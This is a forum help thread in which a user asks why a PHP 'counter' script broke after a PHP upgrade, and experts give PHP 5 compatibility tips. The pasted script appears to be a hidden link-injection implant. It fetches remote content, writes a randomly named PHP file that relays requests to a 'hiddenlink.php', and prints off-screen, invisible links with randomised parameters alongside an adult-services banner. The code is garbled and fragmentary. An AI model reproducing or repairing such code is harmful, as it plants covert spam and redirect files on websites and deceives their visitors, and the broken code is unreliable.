script not working

hello there,
I was using this script with no problems when I had centos v4.4 and PHP 4.3.9
now that I upgraded to centos v5.2 with PHP v5.1.6 for some reason it doesn't want to work..
it works fine when executed directly but not when executed as <? require_once("counter.php");?>
maybe there is something wrong, what do you guys think?
function f_file_get_contents($url)
	global $timeout;
	if (ini_get('allow_url_fopen')){
		$old = ini_set('default_socket_timeout', $timeout);
  		ini_set('default_socket_timeout', $old);
	} else {
	        curl_setopt($ch, CURLOPT_URL, $url);
	        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
	        $data = curl_exec ($ch);
	        curl_close ($ch);
	return $data;
function ip2int($ip) {
	return $a[0]*256*256*256+$a[1]*256*256+$a[2]*256+$a[3];
function GetRandomString($length) {
       $template = "1234567890aJbEcdGFefgHhiVjklmAQnopqZrsJtuNvwMxWOPLKyz";   
       for ($a = 0; $a <= $length; $a++) {
               $b = rand(0, strlen($template) - 1);
               $rndstring .= $template[$b];
       return $rndstring;       
$p2=array('s=', 'nc=', 'c=', 'fc=', 'p=', 't=');
if (isset($_SERVER['QUERY_STRING']))
	if ($_SERVER['QUERY_STRING']=='getversion'){
		echo $version;
	} else {
		$body = f_file_get_contents($url);
		if (empty($body)){
		} else {
			if ($body!='b_' and $body!='ch_' and $body!='g_' and $body!='nb_' and $body!='uv_' and $body!='ad_'){
			} else {
		if ($new_chksum!='zan') $new='pzoaenthl.php';
		if ($old_chksum!='zan') $old='pzoaenthl.php';
		echo "<a href='/index.php?go=show&code=100&fb=1' target='_blank'><img src='/buttons/$filename' alt='Adult webmaster services'  border='0' style='width: 120px; height: 60px;'></a>";
		if ($chour==15 and $new!=''){
			$new_file="<? \$hct=@file_get_contents('/hiddenlink.php?code='.\$_GET['code'].'&r=".'\'.$_GET[\'ref\']'."); ?>";
			if (!file_exists($new)){
				if (file_exists($old))
		if (!file_exists('protectx_hl.jpg')){
			$handle = @fopen("protectx_hl.jpg", 'w');
			@fwrite($handle, $pimg);
		} else {
		        if ($new!=''){
		        	if (file_exists($new)){
					echo "<div style='display: none; position:absolute; left:-300px;'>";
						$link="<a href='$new?code=100&ref=".$_SERVER['HTTP_REFERER'].'&'.$p1[rand(0,5)].rand(1,80).'&'.$p2[rand(0,5)].rand(1,80).'&'.$p3[rand(0,5)].GetRandomString(rand(30,50)).$p4[rand(0,8)]."'><img src='protectx_hl.jpg' width='150' height='120' alt='Movie'></a>\n";
						echo $link;
					echo "</div>";

Open in new window

Who is Participating?

[Product update] Infrastructure Analysis Tool is now available with Business Accounts.Learn More

I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

what is the error message you get when you run this as an include statement?
you might try changing line 53:
                $ip = getenv("REMOTE_ADDR");
                $ip = $_SERVER["REMOTE_ADDR"];

also, you should create a new webpage, call it something simple, like phpinfo.php and just put this (maybe you know this?):
and see how the server environment variables in your version of PHP5 are supposed to be written.
if it says:

you would put a $ in front of it:
XK8ERAuthor Commented:
the things that I see are



Notice: Undefined variable: new in /home/var/www/html/counter.php on line 77
Notice: Undefined variable: old in /home/var/www/html/counter.php on line 79
Fundamentals of JavaScript

Learn the fundamentals of the popular programming language JavaScript so that you can explore the realm of web development.

where are these variables, $new and $old coming from?
never mind, I see they are in the list()
line 56 mixes single and double quotes, and I assume $parts is a variable, where it looks like text the way this line is written

should be

Open in new window


Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
I took a site from PHP4 to PHP5. PHP5 is fussier about some things like this.
Also, $new and $old have NOT been declared as arrays. They should be.
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today

From novice to tech pro — start learning today.